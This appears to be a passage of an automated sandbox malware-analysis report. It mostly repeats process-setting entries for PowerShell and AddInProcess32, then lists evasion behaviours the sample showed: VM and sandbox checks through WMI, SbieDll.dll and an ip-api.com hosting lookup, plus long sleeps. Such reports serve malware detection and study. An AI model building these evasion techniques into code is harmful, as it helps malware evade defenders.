Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Check if machine is in data center or colocation facility
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: AddInProcess32.exe, 00000008.00000002.478863572.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLLT-
Source: powershell.exe, 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.0000000002545000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 200000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2510000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: A20000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 2510000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 450000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 598720 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1512 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7943 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 300 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 2864 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2204 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1764 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1764 Thread sleep time: -598720s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1764 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1764 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 2236 Thread sleep time: -420000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 1012 Thread sleep time: -60000s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
